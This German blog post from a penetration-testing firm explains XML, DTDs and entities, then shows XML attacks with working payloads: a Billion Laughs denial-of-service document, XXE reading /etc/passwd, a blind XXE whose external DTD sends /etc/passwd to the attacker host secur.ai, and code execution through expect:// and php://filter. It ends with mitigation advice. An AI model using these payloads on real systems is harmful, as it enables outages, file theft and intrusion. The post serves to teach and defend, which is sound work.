Blog

XXE: Angriff über ein Serialisierungsformat

XML (Extensible Markup Language) ist, wie im Artikel über „Serialisierungsformate und ihre Tücken” bereits erwähnt, eine Auszeichnungssprache, welche Daten durch eine hierarchische Struktur in Textform darstellt.

<?xml version="1.0"?>
<bookstore>
   <book>
      <title lang="en">Origin</title>
      <author>Dan Brown</author>
      <year>2017</year>
   </book>
	<book>
      <title lang="de">Der Fremde</title>
      <author>Albert Camus</author>
      <year></year>
   </book>
</bookstore>

XML wird neben der Speicherung von Daten auch für die standardisierte Weitergabe dieser Daten verwendet, da es für Computerprogramme einfach lesbar ist.

Da es sich aber um eine recht mächtige Auszeichnungssprache handelt, möchte ich hier auf die genaueren Angriffe, die ausgeführt werden können, näher eingehen.

Dokumenttyp-Deklaration

Jedes XML-Dokument muss nach offiziellen Regeln einer „Document Type Definition” (DTD, Doctype) zugrunde liegen. Diese Deklaration kann entweder intern, also als Teil des XML-Dokuments erfolgen, oder über eine externe Datei.

Interner DTD

Die wohl schnellste Methode ist es, den Doctype im jeweiligen Dokument zu setzen, da hier nur mit einer Datei umgegangen wird. Dies wird aber selten gemacht, weil das XML-Dokument unnötig an Größe gewinnt, welche ständig übertragen werden muss.

<?xml version="1.0"?>
<!DOCTYPE bookstore [
	<!ELEMENT title (#PCDATA)>
	<!ATTLIST book
		lang CDATA #REQUIRED
	>
	<!ELEMENT year (#PCDATA)>
	<!ELEMENT author (#PCDATA)>
	<!ELEMENT book (title,year,author)>
]>
<bookstore>
   <book>
      <title lang="en">Origin</title>
      <author>Dan Brown</author>
      <year>2017</year>
   </book>
	<book>
      <title lang="de">Der Fremde</title>
      <author>Albert Camus</author>
      <year></year>
   </book>
</bookstore>

Externer Doctype

Bei einem externen Doctype werden die Definitionen in eine separate Datei gepackt, auf welche per Pfad (dies kann auch eine URL sein) verwiesen wird. Dies wird vor allem bei HTML und ähnlichen Varianten verwendet, bei denen sichergestellt werden kann, dass der Zugriff auf die DTD möglich ist.

<?xml version="1.0"?>
<!DOCTYPE bookstore SYSTEM "{PFAD}">
 
<bookstore>
   <book>
      <title lang="en">Origin</title>
      <author>Dan Brown</author>
      <year>2017</year>
   </book>
	<book>
      <title lang="de">Der Fremde</title>
      <author>Albert Camus</author>
      <year></year>
   </book>
</bookstore>

Entitäten

Entitäten sind im Prinzip die Variablen von Auszeichnungssprachen. Manche werden diese bereits aus HTML kennen. Hier existieren beispielsweise „&ouml;”, „&amp;” oder ähnliches. XML geht hier aber einen Schritt weiter und lässt den Benutzer Entitäten selber im Doctype definieren.

Wenn wir beispielsweise zwei Bücher von Albert Camus hätten, dann könnten wir eine Entität für den Autor setzen, um nicht ständig den vollen Namen schreiben zu müssen.

<?xml version="1.0"?>
<!DOCTYPE bookstore [
	<!ENTITY camus "Albert Camus">
]>
<bookstore>
   <book>
      <title lang="en">Origin</title>
      <author>Dan Brown</author>
      <year>2017</year>
   </book>
	<book>
      <title lang="de">Der Fremde</title>
      <author>&camus;</author>
      <year></year>
   </book>
	<book>
      <title lang="de">Der Mythos von Sysiphos</title>
      <author>&camus;</author>
      <year></year>
   </book>
</bookstore>

Angriffe

Billion Laughs Attack

Hier kommen wir auch schon zu unserer ersten Attacke. Die „Billion Laughs Attack” macht sich nämlich die Tatsache zunutze, dass diese Entitäten im Doctype verschachtelt werden können.

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

Im obigen Beispiel wird die Entität lol mit dem Wert “lol” definiert. Zusätzlich wird ein neues Element lolz definiert, welches die spätere Attacke beinhaltet. Außerdem werden verschiedene Entitäten lol1 bis lol9 definiert, welche aufeinander referenzieren. Da die meisten XML-Parser versuchen, im Speicher diese Abhängigkeiten aufzulösen, läuft dieser voll und der Parser stürzt ab. Dies hat unter Umständen zur Folge, dass der komplette Dienst nicht mehr erreichbar ist oder sogar der Server keine Anfragen mehr beantworten kann.

XML External Entity

Diese Art von Angriff ist unter dem Namen „XXE” (XML External Entity) bekannt geworden. 2014 fand ein Security Researcher einen Bug bei Facebook, welcher neben dem Auslesen von beliebigen Dateien auf einem produktiven System von Facebook auch eine Ausführung von Code erlaubt. Auch bei Google, Runkeeper und einigen anderen wurden vergleichbare Lücken bereits gefunden.

Neben einem einfachen „Abschießen” lassen sich damit auch beliebige Dateien des Servers auslesen, wenn der Parser falsch konfiguriert ist.

Direkte Ausgabe

Die einfachste Art des Angriffs wäre, einen Buchtitel auf den Inhalt einer von uns bestimmten Datei zu setzen.

<?xml version="1.0"?>
<!DOCTYPE bookstore [
	<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<bookstore>
   <book>
      <title lang="en">Origin</title>
      <author>Dan Brown</author>
      <year>2017</year>
   </book>
	<book>
      <title lang="de">Der Fremde</title>
      <author>Albert Camus</author>
      <year></year>
   </book>
	<book>
      <title lang="de">&xxe;</title>
      <author>The Friendly Pentester from securai<author>
      <year></year>
   </book>
</bookstore>

Bei einem Import der Datei versucht der Parser die Entität „xxe” aufzulösen und so den Inhalt aus der Datei „/etc/passwd” einzubinden. Dies funktioniert aber nur, wenn die Entität aufgelöst wird und dem Angreifer in einer Ausgabe direkt angezeigt wird.

Blind

Man hat aber nicht immer den Fall, dass man die Ausgabe sieht. Auch hier gibt es eine Möglichkeit, auf eine XXE zu testen und diese dann zu einer Ausführung zu bekommen.

Wir erinnern uns, dass ein Doctype auch extern definiert werden kann. Lädt man nun einen Doctype über einen „angreifenden” Server, kann festgestellt werden, ob der anzugreifende Server eine Verbindung dorthin aufbauen darf.

<?xml version="1.0"?>
<!DOCTYPE bookstore SYSTEM "http://secur.ai/attack.dtd">
 
<bookstore>
   <book>
      <title lang="en">Origin</title>
      <author>Dan Brown</author>
      <year>2017</year>
   </book>
	<book>
      <title lang="de">Der Fremde</title>
      <author>Albert Camus</author>
      <year></year>
   </book>
</bookstore>

Sollte eine Anfrage auf diese Datei eingehen, kann dies dazu genutzt werden, Daten zum Angreifer über den Server „secur.ai” zu exfiltrieren.

Hierzu wendet man einen Trick an.

<?xml version="1.0"?>
<!DOCTYPE bookstore [
	<!ENTITY % remote SYSTEM "http://secur.ai/attack.dtd">
	%remote;%int;%trick;
]>
<bookstore>
   <book>
      <title lang="en">Origin</title>
      <author>Dan Brown</author>
      <year>2017</year>
   </book>
	<book>
      <title lang="de">Der Fremde</title>
      <author>Albert Camus</author>
      <year></year>
   </book>
</bookstore>

In dieser „attack.dtd” auf dem Server „secur.ai” steht die auszulesende Datei und wohin sie geschickt werden soll:

<!ENTITY % payl SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM ‘http://secur.ai/?p=%payl;’>">

Hierbei wird eine externe DTD von einem vom Angreifer kontrollierten Server geladen. Die dort definierten Entitäten werden in den Doctype mit eingebunden und wieder verschachtelt ausgeführt. Der Payload, welcher nun der Inhalt der Datei „/etc/passwd” ist, wird per Parameter „p” an den Server secur.ai übertragen.

Natürlich kann hier auch über andere Protokolle als HTTP, z.B. FTP, Gopher, etc. extrahiert werden.

XXE zu RCE

Das Auslesen von beliebigen Dateien kann in einzelnen Fällen noch zu einer RCE (Remote Code Execution) ausgebaut werden. Hier möchte ich zwei Methoden nennen, die etwas weiter verbreitet sind. Beide Varianten sind aber hauptsächlich im PHP-Bereich anzutreffen.

Die eine Variante verwendet „expect”, was eine eigene Scripting-Sprache ist:

<?xml version="1.0"?>
<!DOCTYPE bookstore [
	<!ENTITY xxe SYSTEM "expect://id">
]>
<bookstore>
   <book>
      <title lang="en">Origin</title>
      <author>Dan Brown</author>
      <year>2017</year>
   </book>
	<book>
      <title lang="de">Der Fremde</title>
      <author>Albert Camus</author>
      <year>&xxe;</year>
   </book>
</bookstore>

Der XML-Parser ruft Expect mit dem Kommando „id” auf, welches den aktuellen Benutzer zurückgibt. Natürlich kann hier jeglicher Expect-Aufruf ausgeführt werden und somit Code auf dem anzugreifenden Server ausgeführt werden.

Die andere Variante verwendet den Aufruf vom PHP-Protokoll:

<?xml version="1.0"?>
<!DOCTYPE bookstore [
	<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<bookstore>
   <book>
      <title lang="en">Origin</title>
      <author>Dan Brown</author>
      <year>2017</year>
   </book>
   <book>
      <title lang="de">Der Fremde</title>
      <author>Albert Camus</author>
      <year>&xxe;</year>
   </book>
</bookstore>

Dies führt zum Ausführen eines PHP-Filters, welcher die index.php als base64 encodierten String in die Entität „xxe” schreibt. Natürlich lässt sich das Protokoll auch mit „php://input”, oder „php://filter/write” zu einer vollen RCE ausbauen.

Und jetzt?

Ganz klar: Vertrau niemals Eingaben eines Benutzers!

Alle XML-basierten Angriffe bauen auf dem Hinzufügen eines Doctypes in einem XML-Dokument auf. Um XXE-Angriffe zu verhindern, ist die hilfreichste Methode DTDs (External Entities) komplett zu deaktivieren. Je nach Programmiersprache und eingesetztem Parser sieht dies unterschiedlich aus.

All diese Methoden hier aufzuzählen würde den Rahmen sprengen und dem geneigten Leser sei hier das „OWASP XXE Prevention Cheat Sheet“, welches die meisten gängigen Möglichkeiten, diese Attacke abzuwehren, aufzeigt, ans Herz gelegt.

Vorheriger Beitrag
Binary Patching von Java für Rich-Client Penetrationstests
Nächster Beitrag
Verschlüsselung leicht gemacht

Ähnliche Beiträge

Es wurden keine Ergebnisse gefunden, die deinen Suchkriterien entsprechen.

Menü